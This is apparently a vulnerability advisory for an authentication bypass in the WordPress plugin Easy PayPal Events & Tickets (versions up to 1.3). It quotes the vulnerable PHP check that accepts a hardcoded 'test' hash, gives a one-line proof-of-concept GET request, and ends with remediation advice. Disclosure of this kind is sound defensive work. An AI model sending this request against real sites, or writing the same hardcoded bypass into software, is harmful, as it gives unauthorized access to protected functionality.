CVE-2026-32834 - Authentication Bypass via QR Code

Summary

A vulnerability in the WordPress plugin Easy PayPal Events & Tickets (<= 1.3) allows authentication bypass due to a hardcoded hash validation condition.

Technical Details

The application validates a QR hash using:

if ($hash == $realhash || $hash == 'test')

The presence of the hardcoded value 'test' allows any attacker to bypass authentication.

Proof of Concept

GET /?action=add_wpeevent_button_qr&order=1|4|test

Impact

Unauthenticated attackers can bypass authentication and access protected functionality.

Remediation

Remove the hardcoded condition and implement proper secure token validation.
